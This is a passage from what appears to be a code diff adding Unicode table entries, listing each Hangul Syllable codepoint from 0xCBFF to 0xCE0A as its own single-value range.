+ [0xcbff, 0xcbff], /* Hangul Syllable */
+ [0xcc00, 0xcc00], /* Hangul Syllable */
+ [0xcc01, 0xcc01], /* Hangul Syllable */
+ [0xcc02, 0xcc02], /* Hangul Syllable */
+ [0xcc03, 0xcc03], /* Hangul Syllable */
+ [0xcc04, 0xcc04], /* Hangul Syllable */
+ [0xcc05, 0xcc05], /* Hangul Syllable */
+ [0xcc06, 0xcc06], /* Hangul Syllable */
+ [0xcc07, 0xcc07], /* Hangul Syllable */
+ [0xcc08, 0xcc08], /* Hangul Syllable */
+ [0xcc09, 0xcc09], /* Hangul Syllable */
+ [0xcc0a, 0xcc0a], /* Hangul Syllable */
+ [0xcc0b, 0xcc0b], /* Hangul Syllable */
+ [0xcc0c, 0xcc0c], /* Hangul Syllable */
+ [0xcc0d, 0xcc0d], /* Hangul Syllable */
+ [0xcc0e, 0xcc0e], /* Hangul Syllable */
+ [0xcc0f, 0xcc0f], /* Hangul Syllable */
+ [0xcc10, 0xcc10], /* Hangul Syllable */
+ [0xcc11, 0xcc11], /* Hangul Syllable */
+ [0xcc12, 0xcc12], /* Hangul Syllable */
+ [0xcc13, 0xcc13], /* Hangul Syllable */
+ [0xcc14, 0xcc14], /* Hangul Syllable */
+ [0xcc15, 0xcc15], /* Hangul Syllable */
+ [0xcc16, 0xcc16], /* Hangul Syllable */
+ [0xcc17, 0xcc17], /* Hangul Syllable */
+ [0xcc18, 0xcc18], /* Hangul Syllable */
+ [0xcc19, 0xcc19], /* Hangul Syllable */
+ [0xcc1a, 0xcc1a], /* Hangul Syllable */
+ [0xcc1b, 0xcc1b], /* Hangul Syllable */
+ [0xcc1c, 0xcc1c], /* Hangul Syllable */
+ [0xcc1d, 0xcc1d], /* Hangul Syllable */
+ [0xcc1e, 0xcc1e], /* Hangul Syllable */
+ [0xcc1f, 0xcc1f], /* Hangul Syllable */
+ [0xcc20, 0xcc20], /* Hangul Syllable */
+ [0xcc21, 0xcc21], /* Hangul Syllable */
+ [0xcc22, 0xcc22], /* Hangul Syllable */
+ [0xcc23, 0xcc23], /* Hangul Syllable */
+ [0xcc24, 0xcc24], /* Hangul Syllable */
+ [0xcc25, 0xcc25], /* Hangul Syllable */
+ [0xcc26, 0xcc26], /* Hangul Syllable */
+ [0xcc27, 0xcc27], /* Hangul Syllable */
+ [0xcc28, 0xcc28], /* Hangul Syllable */
+ [0xcc29, 0xcc29], /* Hangul Syllable */
+ [0xcc2a, 0xcc2a], /* Hangul Syllable */
+ [0xcc2b, 0xcc2b], /* Hangul Syllable */
+ [0xcc2c, 0xcc2c], /* Hangul Syllable */
+ [0xcc2d, 0xcc2d], /* Hangul Syllable */
+ [0xcc2e, 0xcc2e], /* Hangul Syllable */
+ [0xcc2f, 0xcc2f], /* Hangul Syllable */
+ [0xcc30, 0xcc30], /* Hangul Syllable */
+ [0xcc31, 0xcc31], /* Hangul Syllable */
+ [0xcc32, 0xcc32], /* Hangul Syllable */
+ [0xcc33, 0xcc33], /* Hangul Syllable */
+ [0xcc34, 0xcc34], /* Hangul Syllable */
+ [0xcc35, 0xcc35], /* Hangul Syllable */
+ [0xcc36, 0xcc36], /* Hangul Syllable */
+ [0xcc37, 0xcc37], /* Hangul Syllable */
+ [0xcc38, 0xcc38], /* Hangul Syllable */
+ [0xcc39, 0xcc39], /* Hangul Syllable */
+ [0xcc3a, 0xcc3a], /* Hangul Syllable */
+ [0xcc3b, 0xcc3b], /* Hangul Syllable */
+ [0xcc3c, 0xcc3c], /* Hangul Syllable */
+ [0xcc3d, 0xcc3d], /* Hangul Syllable */
+ [0xcc3e, 0xcc3e], /* Hangul Syllable */
+ [0xcc3f, 0xcc3f], /* Hangul Syllable */
+ [0xcc40, 0xcc40], /* Hangul Syllable */
+ [0xcc41, 0xcc41], /* Hangul Syllable */
+ [0xcc42, 0xcc42], /* Hangul Syllable */
+ [0xcc43, 0xcc43], /* Hangul Syllable */
+ [0xcc44, 0xcc44], /* Hangul Syllable */
+ [0xcc45, 0xcc45], /* Hangul Syllable */
+ [0xcc46, 0xcc46], /* Hangul Syllable */
+ [0xcc47, 0xcc47], /* Hangul Syllable */
+ [0xcc48, 0xcc48], /* Hangul Syllable */
+ [0xcc49, 0xcc49], /* Hangul Syllable */
+ [0xcc4a, 0xcc4a], /* Hangul Syllable */
+ [0xcc4b, 0xcc4b], /* Hangul Syllable */
+ [0xcc4c, 0xcc4c], /* Hangul Syllable */
+ [0xcc4d, 0xcc4d], /* Hangul Syllable */
+ [0xcc4e, 0xcc4e], /* Hangul Syllable */
+ [0xcc4f, 0xcc4f], /* Hangul Syllable */
+ [0xcc50, 0xcc50], /* Hangul Syllable */
+ [0xcc51, 0xcc51], /* Hangul Syllable */
+ [0xcc52, 0xcc52], /* Hangul Syllable */
+ [0xcc53, 0xcc53], /* Hangul Syllable */
+ [0xcc54, 0xcc54], /* Hangul Syllable */
+ [0xcc55, 0xcc55], /* Hangul Syllable */
+ [0xcc56, 0xcc56], /* Hangul Syllable */
+ [0xcc57, 0xcc57], /* Hangul Syllable */
+ [0xcc58, 0xcc58], /* Hangul Syllable */
+ [0xcc59, 0xcc59], /* Hangul Syllable */
+ [0xcc5a, 0xcc5a], /* Hangul Syllable */
+ [0xcc5b, 0xcc5b], /* Hangul Syllable */
+ [0xcc5c, 0xcc5c], /* Hangul Syllable */
+ [0xcc5d, 0xcc5d], /* Hangul Syllable */
+ [0xcc5e, 0xcc5e], /* Hangul Syllable */
+ [0xcc5f, 0xcc5f], /* Hangul Syllable */
+ [0xcc60, 0xcc60], /* Hangul Syllable */
+ [0xcc61, 0xcc61], /* Hangul Syllable */
+ [0xcc62, 0xcc62], /* Hangul Syllable */
+ [0xcc63, 0xcc63], /* Hangul Syllable */
+ [0xcc64, 0xcc64], /* Hangul Syllable */
+ [0xcc65, 0xcc65], /* Hangul Syllable */
+ [0xcc66, 0xcc66], /* Hangul Syllable */
+ [0xcc67, 0xcc67], /* Hangul Syllable */
+ [0xcc68, 0xcc68], /* Hangul Syllable */
+ [0xcc69, 0xcc69], /* Hangul Syllable */
+ [0xcc6a, 0xcc6a], /* Hangul Syllable */
+ [0xcc6b, 0xcc6b], /* Hangul Syllable */
+ [0xcc6c, 0xcc6c], /* Hangul Syllable */
+ [0xcc6d, 0xcc6d], /* Hangul Syllable */
+ [0xcc6e, 0xcc6e], /* Hangul Syllable */
+ [0xcc6f, 0xcc6f], /* Hangul Syllable */
+ [0xcc70, 0xcc70], /* Hangul Syllable */
+ [0xcc71, 0xcc71], /* Hangul Syllable */
+ [0xcc72, 0xcc72], /* Hangul Syllable */
+ [0xcc73, 0xcc73], /* Hangul Syllable */
+ [0xcc74, 0xcc74], /* Hangul Syllable */
+ [0xcc75, 0xcc75], /* Hangul Syllable */
+ [0xcc76, 0xcc76], /* Hangul Syllable */
+ [0xcc77, 0xcc77], /* Hangul Syllable */
+ [0xcc78, 0xcc78], /* Hangul Syllable */
+ [0xcc79, 0xcc79], /* Hangul Syllable */
+ [0xcc7a, 0xcc7a], /* Hangul Syllable */
+ [0xcc7b, 0xcc7b], /* Hangul Syllable */
+ [0xcc7c, 0xcc7c], /* Hangul Syllable */
+ [0xcc7d, 0xcc7d], /* Hangul Syllable */
+ [0xcc7e, 0xcc7e], /* Hangul Syllable */
+ [0xcc7f, 0xcc7f], /* Hangul Syllable */
+ [0xcc80, 0xcc80], /* Hangul Syllable */
+ [0xcc81, 0xcc81], /* Hangul Syllable */
+ [0xcc82, 0xcc82], /* Hangul Syllable */
+ [0xcc83, 0xcc83], /* Hangul Syllable */
+ [0xcc84, 0xcc84], /* Hangul Syllable */
+ [0xcc85, 0xcc85], /* Hangul Syllable */
+ [0xcc86, 0xcc86], /* Hangul Syllable */
+ [0xcc87, 0xcc87], /* Hangul Syllable */
+ [0xcc88, 0xcc88], /* Hangul Syllable */
+ [0xcc89, 0xcc89], /* Hangul Syllable */
+ [0xcc8a, 0xcc8a], /* Hangul Syllable */
+ [0xcc8b, 0xcc8b], /* Hangul Syllable */
+ [0xcc8c, 0xcc8c], /* Hangul Syllable */
+ [0xcc8d, 0xcc8d], /* Hangul Syllable */
+ [0xcc8e, 0xcc8e], /* Hangul Syllable */
+ [0xcc8f, 0xcc8f], /* Hangul Syllable */
+ [0xcc90, 0xcc90], /* Hangul Syllable */
+ [0xcc91, 0xcc91], /* Hangul Syllable */
+ [0xcc92, 0xcc92], /* Hangul Syllable */
+ [0xcc93, 0xcc93], /* Hangul Syllable */
+ [0xcc94, 0xcc94], /* Hangul Syllable */
+ [0xcc95, 0xcc95], /* Hangul Syllable */
+ [0xcc96, 0xcc96], /* Hangul Syllable */
+ [0xcc97, 0xcc97], /* Hangul Syllable */
+ [0xcc98, 0xcc98], /* Hangul Syllable */
+ [0xcc99, 0xcc99], /* Hangul Syllable */
+ [0xcc9a, 0xcc9a], /* Hangul Syllable */
+ [0xcc9b, 0xcc9b], /* Hangul Syllable */
+ [0xcc9c, 0xcc9c], /* Hangul Syllable */
+ [0xcc9d, 0xcc9d], /* Hangul Syllable */
+ [0xcc9e, 0xcc9e], /* Hangul Syllable */
+ [0xcc9f, 0xcc9f], /* Hangul Syllable */
+ [0xcca0, 0xcca0], /* Hangul Syllable */
+ [0xcca1, 0xcca1], /* Hangul Syllable */
+ [0xcca2, 0xcca2], /* Hangul Syllable */
+ [0xcca3, 0xcca3], /* Hangul Syllable */
+ [0xcca4, 0xcca4], /* Hangul Syllable */
+ [0xcca5, 0xcca5], /* Hangul Syllable */
+ [0xcca6, 0xcca6], /* Hangul Syllable */
+ [0xcca7, 0xcca7], /* Hangul Syllable */
+ [0xcca8, 0xcca8], /* Hangul Syllable */
+ [0xcca9, 0xcca9], /* Hangul Syllable */
+ [0xccaa, 0xccaa], /* Hangul Syllable */
+ [0xccab, 0xccab], /* Hangul Syllable */
+ [0xccac, 0xccac], /* Hangul Syllable */
+ [0xccad, 0xccad], /* Hangul Syllable */
+ [0xccae, 0xccae], /* Hangul Syllable */
+ [0xccaf, 0xccaf], /* Hangul Syllable */
+ [0xccb0, 0xccb0], /* Hangul Syllable */
+ [0xccb1, 0xccb1], /* Hangul Syllable */
+ [0xccb2, 0xccb2], /* Hangul Syllable */
+ [0xccb3, 0xccb3], /* Hangul Syllable */
+ [0xccb4, 0xccb4], /* Hangul Syllable */
+ [0xccb5, 0xccb5], /* Hangul Syllable */
+ [0xccb6, 0xccb6], /* Hangul Syllable */
+ [0xccb7, 0xccb7], /* Hangul Syllable */
+ [0xccb8, 0xccb8], /* Hangul Syllable */
+ [0xccb9, 0xccb9], /* Hangul Syllable */
+ [0xccba, 0xccba], /* Hangul Syllable */
+ [0xccbb, 0xccbb], /* Hangul Syllable */
+ [0xccbc, 0xccbc], /* Hangul Syllable */
+ [0xccbd, 0xccbd], /* Hangul Syllable */
+ [0xccbe, 0xccbe], /* Hangul Syllable */
+ [0xccbf, 0xccbf], /* Hangul Syllable */
+ [0xccc0, 0xccc0], /* Hangul Syllable */
+ [0xccc1, 0xccc1], /* Hangul Syllable */
+ [0xccc2, 0xccc2], /* Hangul Syllable */
+ [0xccc3, 0xccc3], /* Hangul Syllable */
+ [0xccc4, 0xccc4], /* Hangul Syllable */
+ [0xccc5, 0xccc5], /* Hangul Syllable */
+ [0xccc6, 0xccc6], /* Hangul Syllable */
+ [0xccc7, 0xccc7], /* Hangul Syllable */
+ [0xccc8, 0xccc8], /* Hangul Syllable */
+ [0xccc9, 0xccc9], /* Hangul Syllable */
+ [0xccca, 0xccca], /* Hangul Syllable */
+ [0xcccb, 0xcccb], /* Hangul Syllable */
+ [0xcccc, 0xcccc], /* Hangul Syllable */
+ [0xcccd, 0xcccd], /* Hangul Syllable */
+ [0xccce, 0xccce], /* Hangul Syllable */
+ [0xcccf, 0xcccf], /* Hangul Syllable */
+ [0xccd0, 0xccd0], /* Hangul Syllable */
+ [0xccd1, 0xccd1], /* Hangul Syllable */
+ [0xccd2, 0xccd2], /* Hangul Syllable */
+ [0xccd3, 0xccd3], /* Hangul Syllable */
+ [0xccd4, 0xccd4], /* Hangul Syllable */
+ [0xccd5, 0xccd5], /* Hangul Syllable */
+ [0xccd6, 0xccd6], /* Hangul Syllable */
+ [0xccd7, 0xccd7], /* Hangul Syllable */
+ [0xccd8, 0xccd8], /* Hangul Syllable */
+ [0xccd9, 0xccd9], /* Hangul Syllable */
+ [0xccda, 0xccda], /* Hangul Syllable */
+ [0xccdb, 0xccdb], /* Hangul Syllable */
+ [0xccdc, 0xccdc], /* Hangul Syllable */
+ [0xccdd, 0xccdd], /* Hangul Syllable */
+ [0xccde, 0xccde], /* Hangul Syllable */
+ [0xccdf, 0xccdf], /* Hangul Syllable */
+ [0xcce0, 0xcce0], /* Hangul Syllable */
+ [0xcce1, 0xcce1], /* Hangul Syllable */
+ [0xcce2, 0xcce2], /* Hangul Syllable */
+ [0xcce3, 0xcce3], /* Hangul Syllable */
+ [0xcce4, 0xcce4], /* Hangul Syllable */
+ [0xcce5, 0xcce5], /* Hangul Syllable */
+ [0xcce6, 0xcce6], /* Hangul Syllable */
+ [0xcce7, 0xcce7], /* Hangul Syllable */
+ [0xcce8, 0xcce8], /* Hangul Syllable */
+ [0xcce9, 0xcce9], /* Hangul Syllable */
+ [0xccea, 0xccea], /* Hangul Syllable */
+ [0xcceb, 0xcceb], /* Hangul Syllable */
+ [0xccec, 0xccec], /* Hangul Syllable */
+ [0xcced, 0xcced], /* Hangul Syllable */
+ [0xccee, 0xccee], /* Hangul Syllable */
+ [0xccef, 0xccef], /* Hangul Syllable */
+ [0xccf0, 0xccf0], /* Hangul Syllable */
+ [0xccf1, 0xccf1], /* Hangul Syllable */
+ [0xccf2, 0xccf2], /* Hangul Syllable */
+ [0xccf3, 0xccf3], /* Hangul Syllable */
+ [0xccf4, 0xccf4], /* Hangul Syllable */
+ [0xccf5, 0xccf5], /* Hangul Syllable */
+ [0xccf6, 0xccf6], /* Hangul Syllable */
+ [0xccf7, 0xccf7], /* Hangul Syllable */
+ [0xccf8, 0xccf8], /* Hangul Syllable */
+ [0xccf9, 0xccf9], /* Hangul Syllable */
+ [0xccfa, 0xccfa], /* Hangul Syllable */
+ [0xccfb, 0xccfb], /* Hangul Syllable */
+ [0xccfc, 0xccfc], /* Hangul Syllable */
+ [0xccfd, 0xccfd], /* Hangul Syllable */
+ [0xccfe, 0xccfe], /* Hangul Syllable */
+ [0xccff, 0xccff], /* Hangul Syllable */
+ [0xcd00, 0xcd00], /* Hangul Syllable */
+ [0xcd01, 0xcd01], /* Hangul Syllable */
+ [0xcd02, 0xcd02], /* Hangul Syllable */
+ [0xcd03, 0xcd03], /* Hangul Syllable */
+ [0xcd04, 0xcd04], /* Hangul Syllable */
+ [0xcd05, 0xcd05], /* Hangul Syllable */
+ [0xcd06, 0xcd06], /* Hangul Syllable */
+ [0xcd07, 0xcd07], /* Hangul Syllable */
+ [0xcd08, 0xcd08], /* Hangul Syllable */
+ [0xcd09, 0xcd09], /* Hangul Syllable */
+ [0xcd0a, 0xcd0a], /* Hangul Syllable */
+ [0xcd0b, 0xcd0b], /* Hangul Syllable */
+ [0xcd0c, 0xcd0c], /* Hangul Syllable */
+ [0xcd0d, 0xcd0d], /* Hangul Syllable */
+ [0xcd0e, 0xcd0e], /* Hangul Syllable */
+ [0xcd0f, 0xcd0f], /* Hangul Syllable */
+ [0xcd10, 0xcd10], /* Hangul Syllable */
+ [0xcd11, 0xcd11], /* Hangul Syllable */
+ [0xcd12, 0xcd12], /* Hangul Syllable */
+ [0xcd13, 0xcd13], /* Hangul Syllable */
+ [0xcd14, 0xcd14], /* Hangul Syllable */
+ [0xcd15, 0xcd15], /* Hangul Syllable */
+ [0xcd16, 0xcd16], /* Hangul Syllable */
+ [0xcd17, 0xcd17], /* Hangul Syllable */
+ [0xcd18, 0xcd18], /* Hangul Syllable */
+ [0xcd19, 0xcd19], /* Hangul Syllable */
+ [0xcd1a, 0xcd1a], /* Hangul Syllable */
+ [0xcd1b, 0xcd1b], /* Hangul Syllable */
+ [0xcd1c, 0xcd1c], /* Hangul Syllable */
+ [0xcd1d, 0xcd1d], /* Hangul Syllable */
+ [0xcd1e, 0xcd1e], /* Hangul Syllable */
+ [0xcd1f, 0xcd1f], /* Hangul Syllable */
+ [0xcd20, 0xcd20], /* Hangul Syllable */
+ [0xcd21, 0xcd21], /* Hangul Syllable */
+ [0xcd22, 0xcd22], /* Hangul Syllable */
+ [0xcd23, 0xcd23], /* Hangul Syllable */
+ [0xcd24, 0xcd24], /* Hangul Syllable */
+ [0xcd25, 0xcd25], /* Hangul Syllable */
+ [0xcd26, 0xcd26], /* Hangul Syllable */
+ [0xcd27, 0xcd27], /* Hangul Syllable */
+ [0xcd28, 0xcd28], /* Hangul Syllable */
+ [0xcd29, 0xcd29], /* Hangul Syllable */
+ [0xcd2a, 0xcd2a], /* Hangul Syllable */
+ [0xcd2b, 0xcd2b], /* Hangul Syllable */
+ [0xcd2c, 0xcd2c], /* Hangul Syllable */
+ [0xcd2d, 0xcd2d], /* Hangul Syllable */
+ [0xcd2e, 0xcd2e], /* Hangul Syllable */
+ [0xcd2f, 0xcd2f], /* Hangul Syllable */
+ [0xcd30, 0xcd30], /* Hangul Syllable */
+ [0xcd31, 0xcd31], /* Hangul Syllable */
+ [0xcd32, 0xcd32], /* Hangul Syllable */
+ [0xcd33, 0xcd33], /* Hangul Syllable */
+ [0xcd34, 0xcd34], /* Hangul Syllable */
+ [0xcd35, 0xcd35], /* Hangul Syllable */
+ [0xcd36, 0xcd36], /* Hangul Syllable */
+ [0xcd37, 0xcd37], /* Hangul Syllable */
+ [0xcd38, 0xcd38], /* Hangul Syllable */
+ [0xcd39, 0xcd39], /* Hangul Syllable */
+ [0xcd3a, 0xcd3a], /* Hangul Syllable */
+ [0xcd3b, 0xcd3b], /* Hangul Syllable */
+ [0xcd3c, 0xcd3c], /* Hangul Syllable */
+ [0xcd3d, 0xcd3d], /* Hangul Syllable */
+ [0xcd3e, 0xcd3e], /* Hangul Syllable */
+ [0xcd3f, 0xcd3f], /* Hangul Syllable */
+ [0xcd40, 0xcd40], /* Hangul Syllable */
+ [0xcd41, 0xcd41], /* Hangul Syllable */
+ [0xcd42, 0xcd42], /* Hangul Syllable */
+ [0xcd43, 0xcd43], /* Hangul Syllable */
+ [0xcd44, 0xcd44], /* Hangul Syllable */
+ [0xcd45, 0xcd45], /* Hangul Syllable */
+ [0xcd46, 0xcd46], /* Hangul Syllable */
+ [0xcd47, 0xcd47], /* Hangul Syllable */
+ [0xcd48, 0xcd48], /* Hangul Syllable */
+ [0xcd49, 0xcd49], /* Hangul Syllable */
+ [0xcd4a, 0xcd4a], /* Hangul Syllable */
+ [0xcd4b, 0xcd4b], /* Hangul Syllable */
+ [0xcd4c, 0xcd4c], /* Hangul Syllable */
+ [0xcd4d, 0xcd4d], /* Hangul Syllable */
+ [0xcd4e, 0xcd4e], /* Hangul Syllable */
+ [0xcd4f, 0xcd4f], /* Hangul Syllable */
+ [0xcd50, 0xcd50], /* Hangul Syllable */
+ [0xcd51, 0xcd51], /* Hangul Syllable */
+ [0xcd52, 0xcd52], /* Hangul Syllable */
+ [0xcd53, 0xcd53], /* Hangul Syllable */
+ [0xcd54, 0xcd54], /* Hangul Syllable */
+ [0xcd55, 0xcd55], /* Hangul Syllable */
+ [0xcd56, 0xcd56], /* Hangul Syllable */
+ [0xcd57, 0xcd57], /* Hangul Syllable */
+ [0xcd58, 0xcd58], /* Hangul Syllable */
+ [0xcd59, 0xcd59], /* Hangul Syllable */
+ [0xcd5a, 0xcd5a], /* Hangul Syllable */
+ [0xcd5b, 0xcd5b], /* Hangul Syllable */
+ [0xcd5c, 0xcd5c], /* Hangul Syllable */
+ [0xcd5d, 0xcd5d], /* Hangul Syllable */
+ [0xcd5e, 0xcd5e], /* Hangul Syllable */
+ [0xcd5f, 0xcd5f], /* Hangul Syllable */
+ [0xcd60, 0xcd60], /* Hangul Syllable */
+ [0xcd61, 0xcd61], /* Hangul Syllable */
+ [0xcd62, 0xcd62], /* Hangul Syllable */
+ [0xcd63, 0xcd63], /* Hangul Syllable */
+ [0xcd64, 0xcd64], /* Hangul Syllable */
+ [0xcd65, 0xcd65], /* Hangul Syllable */
+ [0xcd66, 0xcd66], /* Hangul Syllable */
+ [0xcd67, 0xcd67], /* Hangul Syllable */
+ [0xcd68, 0xcd68], /* Hangul Syllable */
+ [0xcd69, 0xcd69], /* Hangul Syllable */
+ [0xcd6a, 0xcd6a], /* Hangul Syllable */
+ [0xcd6b, 0xcd6b], /* Hangul Syllable */
+ [0xcd6c, 0xcd6c], /* Hangul Syllable */
+ [0xcd6d, 0xcd6d], /* Hangul Syllable */
+ [0xcd6e, 0xcd6e], /* Hangul Syllable */
+ [0xcd6f, 0xcd6f], /* Hangul Syllable */
+ [0xcd70, 0xcd70], /* Hangul Syllable */
+ [0xcd71, 0xcd71], /* Hangul Syllable */
+ [0xcd72, 0xcd72], /* Hangul Syllable */
+ [0xcd73, 0xcd73], /* Hangul Syllable */
+ [0xcd74, 0xcd74], /* Hangul Syllable */
+ [0xcd75, 0xcd75], /* Hangul Syllable */
+ [0xcd76, 0xcd76], /* Hangul Syllable */
+ [0xcd77, 0xcd77], /* Hangul Syllable */
+ [0xcd78, 0xcd78], /* Hangul Syllable */
+ [0xcd79, 0xcd79], /* Hangul Syllable */
+ [0xcd7a, 0xcd7a], /* Hangul Syllable */
+ [0xcd7b, 0xcd7b], /* Hangul Syllable */
+ [0xcd7c, 0xcd7c], /* Hangul Syllable */
+ [0xcd7d, 0xcd7d], /* Hangul Syllable */
+ [0xcd7e, 0xcd7e], /* Hangul Syllable */
+ [0xcd7f, 0xcd7f], /* Hangul Syllable */
+ [0xcd80, 0xcd80], /* Hangul Syllable */
+ [0xcd81, 0xcd81], /* Hangul Syllable */
+ [0xcd82, 0xcd82], /* Hangul Syllable */
+ [0xcd83, 0xcd83], /* Hangul Syllable */
+ [0xcd84, 0xcd84], /* Hangul Syllable */
+ [0xcd85, 0xcd85], /* Hangul Syllable */
+ [0xcd86, 0xcd86], /* Hangul Syllable */
+ [0xcd87, 0xcd87], /* Hangul Syllable */
+ [0xcd88, 0xcd88], /* Hangul Syllable */
+ [0xcd89, 0xcd89], /* Hangul Syllable */
+ [0xcd8a, 0xcd8a], /* Hangul Syllable */
+ [0xcd8b, 0xcd8b], /* Hangul Syllable */
+ [0xcd8c, 0xcd8c], /* Hangul Syllable */
+ [0xcd8d, 0xcd8d], /* Hangul Syllable */
+ [0xcd8e, 0xcd8e], /* Hangul Syllable */
+ [0xcd8f, 0xcd8f], /* Hangul Syllable */
+ [0xcd90, 0xcd90], /* Hangul Syllable */
+ [0xcd91, 0xcd91], /* Hangul Syllable */
+ [0xcd92, 0xcd92], /* Hangul Syllable */
+ [0xcd93, 0xcd93], /* Hangul Syllable */
+ [0xcd94, 0xcd94], /* Hangul Syllable */
+ [0xcd95, 0xcd95], /* Hangul Syllable */
+ [0xcd96, 0xcd96], /* Hangul Syllable */
+ [0xcd97, 0xcd97], /* Hangul Syllable */
+ [0xcd98, 0xcd98], /* Hangul Syllable */
+ [0xcd99, 0xcd99], /* Hangul Syllable */
+ [0xcd9a, 0xcd9a], /* Hangul Syllable */
+ [0xcd9b, 0xcd9b], /* Hangul Syllable */
+ [0xcd9c, 0xcd9c], /* Hangul Syllable */
+ [0xcd9d, 0xcd9d], /* Hangul Syllable */
+ [0xcd9e, 0xcd9e], /* Hangul Syllable */
+ [0xcd9f, 0xcd9f], /* Hangul Syllable */
+ [0xcda0, 0xcda0], /* Hangul Syllable */
+ [0xcda1, 0xcda1], /* Hangul Syllable */
+ [0xcda2, 0xcda2], /* Hangul Syllable */
+ [0xcda3, 0xcda3], /* Hangul Syllable */
+ [0xcda4, 0xcda4], /* Hangul Syllable */
+ [0xcda5, 0xcda5], /* Hangul Syllable */
+ [0xcda6, 0xcda6], /* Hangul Syllable */
+ [0xcda7, 0xcda7], /* Hangul Syllable */
+ [0xcda8, 0xcda8], /* Hangul Syllable */
+ [0xcda9, 0xcda9], /* Hangul Syllable */
+ [0xcdaa, 0xcdaa], /* Hangul Syllable */
+ [0xcdab, 0xcdab], /* Hangul Syllable */
+ [0xcdac, 0xcdac], /* Hangul Syllable */
+ [0xcdad, 0xcdad], /* Hangul Syllable */
+ [0xcdae, 0xcdae], /* Hangul Syllable */
+ [0xcdaf, 0xcdaf], /* Hangul Syllable */
+ [0xcdb0, 0xcdb0], /* Hangul Syllable */
+ [0xcdb1, 0xcdb1], /* Hangul Syllable */
+ [0xcdb2, 0xcdb2], /* Hangul Syllable */
+ [0xcdb3, 0xcdb3], /* Hangul Syllable */
+ [0xcdb4, 0xcdb4], /* Hangul Syllable */
+ [0xcdb5, 0xcdb5], /* Hangul Syllable */
+ [0xcdb6, 0xcdb6], /* Hangul Syllable */
+ [0xcdb7, 0xcdb7], /* Hangul Syllable */
+ [0xcdb8, 0xcdb8], /* Hangul Syllable */
+ [0xcdb9, 0xcdb9], /* Hangul Syllable */
+ [0xcdba, 0xcdba], /* Hangul Syllable */
+ [0xcdbb, 0xcdbb], /* Hangul Syllable */
+ [0xcdbc, 0xcdbc], /* Hangul Syllable */
+ [0xcdbd, 0xcdbd], /* Hangul Syllable */
+ [0xcdbe, 0xcdbe], /* Hangul Syllable */
+ [0xcdbf, 0xcdbf], /* Hangul Syllable */
+ [0xcdc0, 0xcdc0], /* Hangul Syllable */
+ [0xcdc1, 0xcdc1], /* Hangul Syllable */
+ [0xcdc2, 0xcdc2], /* Hangul Syllable */
+ [0xcdc3, 0xcdc3], /* Hangul Syllable */
+ [0xcdc4, 0xcdc4], /* Hangul Syllable */
+ [0xcdc5, 0xcdc5], /* Hangul Syllable */
+ [0xcdc6, 0xcdc6], /* Hangul Syllable */
+ [0xcdc7, 0xcdc7], /* Hangul Syllable */
+ [0xcdc8, 0xcdc8], /* Hangul Syllable */
+ [0xcdc9, 0xcdc9], /* Hangul Syllable */
+ [0xcdca, 0xcdca], /* Hangul Syllable */
+ [0xcdcb, 0xcdcb], /* Hangul Syllable */
+ [0xcdcc, 0xcdcc], /* Hangul Syllable */
+ [0xcdcd, 0xcdcd], /* Hangul Syllable */
+ [0xcdce, 0xcdce], /* Hangul Syllable */
+ [0xcdcf, 0xcdcf], /* Hangul Syllable */
+ [0xcdd0, 0xcdd0], /* Hangul Syllable */
+ [0xcdd1, 0xcdd1], /* Hangul Syllable */
+ [0xcdd2, 0xcdd2], /* Hangul Syllable */
+ [0xcdd3, 0xcdd3], /* Hangul Syllable */
+ [0xcdd4, 0xcdd4], /* Hangul Syllable */
+ [0xcdd5, 0xcdd5], /* Hangul Syllable */
+ [0xcdd6, 0xcdd6], /* Hangul Syllable */
+ [0xcdd7, 0xcdd7], /* Hangul Syllable */
+ [0xcdd8, 0xcdd8], /* Hangul Syllable */
+ [0xcdd9, 0xcdd9], /* Hangul Syllable */
+ [0xcdda, 0xcdda], /* Hangul Syllable */
+ [0xcddb, 0xcddb], /* Hangul Syllable */
+ [0xcddc, 0xcddc], /* Hangul Syllable */
+ [0xcddd, 0xcddd], /* Hangul Syllable */
+ [0xcdde, 0xcdde], /* Hangul Syllable */
+ [0xcddf, 0xcddf], /* Hangul Syllable */
+ [0xcde0, 0xcde0], /* Hangul Syllable */
+ [0xcde1, 0xcde1], /* Hangul Syllable */
+ [0xcde2, 0xcde2], /* Hangul Syllable */
+ [0xcde3, 0xcde3], /* Hangul Syllable */
+ [0xcde4, 0xcde4], /* Hangul Syllable */
+ [0xcde5, 0xcde5], /* Hangul Syllable */
+ [0xcde6, 0xcde6], /* Hangul Syllable */
+ [0xcde7, 0xcde7], /* Hangul Syllable */
+ [0xcde8, 0xcde8], /* Hangul Syllable */
+ [0xcde9, 0xcde9], /* Hangul Syllable */
+ [0xcdea, 0xcdea], /* Hangul Syllable */
+ [0xcdeb, 0xcdeb], /* Hangul Syllable */
+ [0xcdec, 0xcdec], /* Hangul Syllable */
+ [0xcded, 0xcded], /* Hangul Syllable */
+ [0xcdee, 0xcdee], /* Hangul Syllable */
+ [0xcdef, 0xcdef], /* Hangul Syllable */
+ [0xcdf0, 0xcdf0], /* Hangul Syllable */
+ [0xcdf1, 0xcdf1], /* Hangul Syllable */
+ [0xcdf2, 0xcdf2], /* Hangul Syllable */
+ [0xcdf3, 0xcdf3], /* Hangul Syllable */
+ [0xcdf4, 0xcdf4], /* Hangul Syllable */
+ [0xcdf5, 0xcdf5], /* Hangul Syllable */
+ [0xcdf6, 0xcdf6], /* Hangul Syllable */
+ [0xcdf7, 0xcdf7], /* Hangul Syllable */
+ [0xcdf8, 0xcdf8], /* Hangul Syllable */
+ [0xcdf9, 0xcdf9], /* Hangul Syllable */
+ [0xcdfa, 0xcdfa], /* Hangul Syllable */
+ [0xcdfb, 0xcdfb], /* Hangul Syllable */
+ [0xcdfc, 0xcdfc], /* Hangul Syllable */
+ [0xcdfd, 0xcdfd], /* Hangul Syllable */
+ [0xcdfe, 0xcdfe], /* Hangul Syllable */
+ [0xcdff, 0xcdff], /* Hangul Syllable */
+ [0xce00, 0xce00], /* Hangul Syllable */
+ [0xce01, 0xce01], /* Hangul Syllable */
+ [0xce02, 0xce02], /* Hangul Syllable */
+ [0xce03, 0xce03], /* Hangul Syllable */
+ [0xce04, 0xce04], /* Hangul Syllable */
+ [0xce05, 0xce05], /* Hangul Syllable */
+ [0xce06, 0xce06], /* Hangul Syllable */
+ [0xce07, 0xce07], /* Hangul Syllable */
+ [0xce08, 0xce08], /* Hangul Syllable */
+ [0xce09, 0xce09], /* Hangul Syllable */
+ [0xce0a, 0xce0a], /* Hangul Syllable */
